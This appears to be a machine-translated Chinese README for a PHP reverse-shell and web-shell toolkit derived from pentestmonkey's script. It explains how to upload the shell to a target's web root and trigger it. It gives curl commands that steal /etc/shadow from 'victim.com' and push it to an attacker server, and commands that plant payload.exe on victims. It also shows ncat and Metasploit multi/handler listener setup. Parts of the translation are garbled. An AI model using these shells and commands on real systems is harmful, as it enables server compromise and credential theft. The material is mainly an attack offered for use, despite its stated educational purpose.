在流行的PHP反向彈腳本pentestmonkey/php-reververs-shell上只是一些刷新。信用原始作者!
使用/bin/sh和Windows OS與cmd.exe一起使用Linux OS和MACOS。腳本將自動檢測基礎操作系統。
與ncat和multi/handler一起使用。
在XAMPP上測試了Linux V7.3.19(64位),php v7.3.19在Kali Linux V2020.2(64位)上進行了測試。
在XAMPP上測試了OS X V7.4.10(64位),並在MacOS Catalina v10.15.6(64位)上使用PHP v7.4.10進行測試。
在XAMPP上測試Windows V7.4.3(64位),Windows 10 Enterprise OS(64位)上的PHP v7.4.3。
此外,所有內容都在Docker Images上進行了測試Nouphet/Docker-PHP4,具有php v4.4.0和Steeze/Php52-nginx,具有PHP v5.2.17。
出於教育目的而設計。我希望它會有所幫助!
Windows OS上的進程管道不支持異步操作,因此stream_set_blocking() , stream_select()和feof()無法正常工作,但我找到了解決方法。
/src/reverse/php_reverse_shell.php需要php v5.0.0或更高。
/src/reverse/php_reverse_shell_older.php需要PHP v4.3.0或更高。
根據需要更改腳本中的IP地址和端口號。
複製/src/reverse/php_reverse_shell.php到服務器的Web根目錄(例如,to/opt/lampp/htdocs/xampp上)或將其上傳到目標的Web服務器。
使用首選的Web瀏覽器導航到該文件。
根據HTTP POST請求檢查簡單的PHP Web Shell。
根據HTTP GET請求檢查簡單的PHP Web Shell。您必須編碼您的命令。
基於HTTP獲取請求檢查簡單的PHP Web Shell V2。您必須編碼您的命令。
在LCATRO/PHP-WEBSHELL-BYPASS-WAF上找到有關舊版本的PHP PHP php混淆技術的更多信息。歸功於作者!
根據HTTP POST請求進行文件上傳,檢查簡單的PHP文件上傳/下載腳本,HTTP獲取文件請求以供文件下載。
下載文件時,您必須URL編碼文件路徑,如果使用捲曲,請不要忘記指定輸出文件。
上傳文件時,請不要忘記在文件路徑之前指定@ 。
根據服務器配置,通過HTTP獲取請求參數下載文件可能並不總是可行,而是必須在腳本中硬核。
使用您喜歡的Web瀏覽器導航到受害者的Web服務器上的腳本,或使用PC中的捲發。
從PC上將文件上傳到服務器的Web根目錄:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
將文件從服務器下載到您的PC:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
如果您將初始特權提高到反向外殼中,則此腳本可能沒有與外殼相同的特權。在這種情況下,要下載某個文件,您可能需要將文件複製到Web根目錄並設置必要的讀取權限。
從您的PHP反向外殼中,運行以下捲曲命令。
將文件從受害人的PC上傳到服務器的Web根目錄:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
從服務器的Web根目錄下載文件到受害者的PC:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
要設置偵聽器,請在Kali Linux上打開您的首選控制台,然後運行以下示例之一。
設置ncat偵聽器:
ncat -nvlp 9000
設置multi/handler偵聽器:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

圖1 -NCAT

圖2-腳本的轉儲